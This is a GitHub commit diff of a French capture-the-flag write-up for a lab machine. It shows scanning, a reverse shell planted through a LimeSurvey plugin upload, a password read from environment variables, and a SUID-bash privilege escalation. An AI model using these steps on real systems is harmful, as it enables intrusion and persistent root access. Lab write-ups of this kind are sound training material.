-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
67dd568
commit 9365cd1
Showing
9 changed files
with
162 additions
and
77 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,9 +1,14 @@ | ||
--- | ||
title: Forgotten - Easy | ||
description: WU forgotten - Easy | ||
title: Forgotten | ||
description: WU forgotten | ||
categories: [Writeup] | ||
tags: [writeup] | ||
template: doc | ||
sidebar: | ||
order: 2 | ||
badge: | ||
text: 'easy' | ||
variant: success | ||
--- | ||
import { Image } from 'astro:assets'; | ||
import banner from '../../../../assets/writeup/vulnlab/banner.jpeg'; | ||
|
@@ -13,12 +18,14 @@ import limesurveypanel from '../../../../assets/writeup/vulnlab/forgotten/limesu | |
|
||
## 🔭 Périmètre | ||
|
||
IP: 10.10.79.178 | ||
OS: Linux | ||
| OS | Difficulty | Target | | ||
|----|----|----| | ||
| Linux | <span style="color:green">**EASY**</span> | 10.10.79.178 | | ||
|
||
## 🔍 Récupération d'informations | ||
|
||
### PortScan | ||
|
||
```shell | ||
[Sep 13, 2024 - 16:02:10 (CEST)] exegol-Vulnlab /workspace # nmap -sC -sV 10.10.79.178 | ||
Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-13 16:02 CEST | ||
|
@@ -64,6 +71,7 @@ Progress: 20476 / 20477 (100.00%) | |
Finished | ||
=============================================================== | ||
``` | ||
|
||
En se rendant sur la page `/survey`, nous devons configurer et installer "LimeSurvey", nous ne pouvons pas créer directement de bases de données via cette page. | ||
Création de la base de données en local avec le script suivant: | ||
|
||
|
@@ -118,7 +126,6 @@ check_success "Firewall configuration" | |
echo "Installation and configuration completed successfully!" | ||
``` | ||
|
||
|
||
Configuration du panel administrateur: | ||
|
||
<Image src={limesurveypanel} alt="banner" format="avif" quality={"mid"}/> | ||
|
@@ -150,12 +157,15 @@ J'ai créé un fichier config.xml pour pouvoir uploader un reverse shell php. Le | |
</updaters> | ||
</config> | ||
``` | ||
|
||
```shell | ||
[Sep 13, 2024 - 17:03:48 (CEST)] exegol-Vulnlab /workspace# nc -lvnp 4041 | ||
``` | ||
|
||
J'essai ensuite d'obtenir un reverse shell en me rendant sur le lien du plugins: | ||
|
||
http://forgotten.vl/survey/upload/plugins/RevShell/revshell.php | ||
http://forgotten.vl/survey/upload/plugins/RevShell/revshell.php | ||
|
||
```shell | ||
[Sep 13, 2024 - 17:03:48 (CEST)] exegol-Vulnlab /workspace# nc -lvnp 4041 | ||
Ncat: Version 7.93 ( https://nmap.org/ncat ) | ||
|
@@ -195,7 +205,9 @@ drwxrwxrwt 1 root root 4096 Sep 13 15:02 tmp | |
drwxr-xr-x 1 root root 4096 Nov 20 2023 usr | ||
drwxr-xr-x 1 root root 4096 Nov 21 2023 var | ||
``` | ||
En listant, je m'aperçois que je suis dans un conteneur Docker. | ||
|
||
```shell | ||
$ env | ||
APACHE_CONFDIR=/etc/apache2 | ||
|
@@ -224,7 +236,9 @@ PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-confi | |
PHP_SHA256=216ab305737a5d392107112d618a755dc5df42058226f1670e9db90e77d777d9 | ||
APACHE_ENVVARS=/etc/apache2/envvars | ||
``` | ||
|
||
Le mot de passe du user limesvc est en clair dans les variables d'environnements. Voyons si on peut se connecter en ssh. | ||
```shell | ||
[Sep 13, 2024 - 16:21:04 (CEST)] exegol-Vulnlab /workspace # ssh [email protected] | ||
The authenticity of host 'forgotten.vl (10.10.79.178)' can't be established. | ||
|
@@ -267,7 +281,9 @@ limesvc@ip-10-10-200-233:~$ ls | |
user.txt | ||
limesvc@ip-10-10-200-233:~$ cat user.txt | ||
``` | ||
|
||
Que faire maintenant ? `limesvc` ne peut rien faire de plus, je retourne sur le conteneur je ne vois rien avec le revshell que j'ai. Je regarde si je peux obtenir un autre shell: | ||
|
||
```shell | ||
$ script -q /dev/null -c bash | ||
limesvc@efaa6f5097ed:/$ sudo su | ||
|
@@ -287,14 +303,18 @@ cd /root | |
root@efaa6f5097ed:~# ls | ||
ls | ||
``` | ||
|
||
Je me place dans le dossier `/var/www/html/survey` et fais une copie de `/bin/bash` en le renommant ./skull | ||
|
||
```shell | ||
root@efaa6f5097ed:~# cd /var/www/html/survey | ||
cd /var/www/html/survey | ||
root@efaa6f5097ed:/var/www/html/survey# cp /bin/bash ./skull | ||
cp /bin/bash ./pwned | ||
``` | ||
|
||
J'attribue les droits de superutilisateur au binaire et retourne sur la connexion ssh de `limesvc`: | ||
|
||
```shell | ||
root@efaa6f5097ed:/var/www/html/survey# chmod u+s ./skull | ||
chmod u+s ./pwned | ||
|
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Oops, something went wrong.